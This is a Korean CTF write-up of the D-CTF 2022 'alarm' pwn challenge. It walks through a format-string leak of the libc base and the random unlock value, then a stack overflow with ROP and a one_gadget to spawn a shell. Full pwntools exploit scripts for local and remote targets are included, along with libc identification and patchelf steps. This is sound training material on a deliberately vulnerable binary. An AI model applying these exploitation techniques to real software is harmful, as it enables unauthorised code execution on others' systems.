DefCamp Capture the Flag (D-CTF) 2022 - alarm (fsb, one_gadget)

분석 환경: Windows 11, Ubuntu 20.04
사용자 제공 파일: 바이너리

해당 ctf에 pwn이 두 문제 나왔다. 이건 medium이다.

Analysis

보호 기법

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)

취약점

IDA로 열어보면 되게 간단하다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v4; // [rsp+14h] [rbp-Ch] BYREF
int buf; // [rsp+18h] [rbp-8h] BYREF
int fd; // [rsp+1Ch] [rbp-4h]

sub_400807(a1, a2, a3);
fd = open("/dev/urandom", 0);
if ( fd == -1 )
{
puts("Open failed");
return 0xFFFFFFFFLL;
}
else if ( read(fd, &buf, 4uLL) == 4 )
{
close(fd);
puts("Wellcome to the Alarm system!");
fflush(stdout);
fgets(byte_6010C0, 1024, stdin);
printf(byte_6010C0); // fsb
puts("Unlock value of alarm: ");
__isoc99_scanf("%x", &v4);
if ( buf == v4 )
vuln("%x");
else
puts("UGVybWlzc2lvbiBkZW5pZWQhCg==\n");
return 0LL;
}
else
{
puts("Read failed\n");
return 0xFFFFFFFFLL;
}
}

fsb 취약점이 대놓고 보인다. 입력할 수 있는 바이트 수도 굉장히 넉넉하다.

바로 아래에서도 어떤 입력값 하나를 주고 그 입력값이 /dev/urandom 랜덤값과 같은지 비교한다. 같으면 vuln 함수가 실행되어 bof를 트리거할 수 있다.

1
2
3
4
5
6
7
8
__int64 __fastcall sub_400861(const char *a1)
{
char buf[112]; // [rsp+0h] [rbp-70h] BYREF

printf("Alarm set to @%p\n", buf);
read(0, buf, 5000uLL); // bof
return 0LL;
}

fsb 취약점이 존재한다면 할 수 있는게 굉장히 많다. 예를 들면 스택 값 노출 정도?

이 문제에선 bof를 트리거하고 작성할 수 있는 바이트 수가 굉장히 넉넉하고, canary도 존재하지 않아 bof만 잘 트리거 된다면 무리없이 ROP를 진행할 수 있을 것이다.

bof를 트리거하기 위한 조건은 랜덤 값을 일치시켜야하는 것인데, 이 랜덤 값은 스택에 저장된다. 따라서 fsb로 랜덤 값을 알아낼 수 있다.

Exploit

시나리오

  1. fsb를 이용하여 랜덤 값과 libc base 구하기
  2. 랜덤 값을 입력하여 bof 트리거
  3. ROP!

Exploit Code (local, Ubuntu 20.04)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *

p = process('./alarm')
#p = remote('34.159.80.143', 31776)
e = ELF('./alarm')
libc = ELF('/usr/lib/x86_64-linux-gnu/libc-2.31.so')

p.sendlineafter('system!', '%p %9$p')

p.recvline()

leak = p.recvline().split(' ')
print(leak)

libc_leak = leak[0]
random_leak = leak[1][:-1]

log.info('libc_leak :: ' + libc_leak)
log.info('random_leak :: ' + random_leak)

p.sendlineafter('alarm:', random_leak)

libc_base = int(libc_leak,16) - 131 - libc.symbols['_IO_2_1_stdin_']
log.info('libc_base :: ' + hex(libc_base))

system = libc_base + libc.symbols['system']
binsh = libc_base + libc.search('/bin/sh').next()

ret = libc_base + 0x22679
pop_rdi = libc_base + 0x23b6a

payload = ''
payload += 'A' * 112
payload += 'B' * 8
#payload += 'C' * 8 # ret
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(ret)
payload += p64(system)

p.send(payload)

p.interactive()

find libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 랜덤 값 전송 후
ret = 0x40067e
pop_rdi = 0x400a23
puts_got = e.got['puts']
puts_plt = 0x400690 #e.plt['puts']
open_got = e.got['open']

payload = ''
payload += 'A' * 112
payload += 'B' * 8
payload += p64(pop_rdi)
payload += p64(puts_got) # open_got
payload += p64(puts_plt)

p.send(payload)

leak_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
log.info('leak addr: ' + hex(leak_addr))
1
2
puts: 970
open: bf0

libc database site: https://libcdb.konwur.de/

최종적으로 구한 libc version: libc6_2.27-3ubuntu1.6_amd64.so

Exploit Code (remote, Ubuntu 18.04)

remote libc가 Ubuntu 18.04의 libc 버전이라서 원가젯을 무리없이 사용할 수 있었다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *

#p = process('./alarm')
p = remote('34.159.80.143', 31776
e = ELF('./alarm')
#libc = ELF('/usr/lib/x86_64-linux-gnu/libc-2.31.so')
libc = ELF('./libc-2.27.so')

p.sendlineafter('system!', '%11$p %9$p')

p.recvline()

leak = p.recvline().split(' ')
print(leak)

libc_leak = leak[0]
random_leak = leak[1][:-1]

log.info('libc_leak :: ' + libc_leak)
log.info('random_leak :: ' + random_leak)

p.sendlineafter('alarm:', random_leak)

libc_base = int(libc_leak,16) - 231 - libc.symbols['__libc_start_main']
log.info('libc_base :: ' + hex(libc_base))

ret = 0x40067e
oneshot = libc_base+0x4f302

payload = ''
payload += 'A' * 112
payload += 'B' * 8
#payload += p64(pop_rdi)
payload += p64(ret)
payload += p64(oneshot)

p.send(payload)

p.interactive()

tmi

사실 이 대회 기간 때 libc version 구하고 main으로 돌려서(?) 뭐 이것저것 삽질하다가 못풀었다 ㅋㅋ;; main으로 돌리니깐 rip가 맨 처음 보내준 랜덤 값으로 바뀌어서 다른 일을 잠깐 하러 갔다. 그런 사이 대회가 종료되어서 서버가 바로 닫혀버려서 remote shell은 따지 못하였다. 후..

창도 다 닫아버려서 libc 버전도 까먹었고, 서버도 닫혀서 offset도 구할 수 없어서 디코에 조심스럽게 libc 버전을 물어봤더니 libc6_2.27-3ubuntu1.6_amd64.so 라고 친절하게 알려주셨다. 그래서 바이너리를 patch하고 풀어보았다.

사실 이 과정에서 새로운 사실을 알게 되었다.

알려주신 libc 버전은 Ubuntu 18.04과 동일하다. 그래서 Ubuntu 18.04에서 libc와 ld를 가져왔다.

1
2
3
4
5
6
7
jir4vvit@ubuntu:~/ctf/dctf/alarm$ ldd alarm
linux-vdso.so.1 (0x00007fff621e2000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f05fa6c9000)
/lib64/ld-linux-x86-64.so.2 (0x00007f05fa8cf000)

jir4vvit@ubuntu:~/ctf/dctf/alarm$ ls
alarm ld-2.27.so libc-2.27.so local.py remote.py

patch를 하려는데 잘 안되어서 알아보니까 libc 이름을 libc.so.6으로 변경해야하더라.

1
2
3
4
5
6
7
jir4vvit@ubuntu:~/ctf/dctf/alarm$ patchelf --set-rpath . --set-interpreter ./ld-2.27.so alarm
jir4vvit@ubuntu:~/ctf/dctf/alarm$ cp libc-2.27.so libc.so.6
jir4vvit@ubuntu:~/ctf/dctf/alarm$ patchelf --set-rpath . --replace-needed libc.so.6 ./libc.so.6 alarm
jir4vvit@ubuntu:~/ctf/dctf/alarm$ ldd alarm
linux-vdso.so.1 (0x00007ffd5c699000)
./libc.so.6 (0x00007f32d2251000)
./ld-2.27.so => /lib64/ld-linux-x86-64.so.2 (0x00007f32d2644000)

이렇게 remote의 바이너리로 patch해서 remote를 잘 해결할 수 있었다.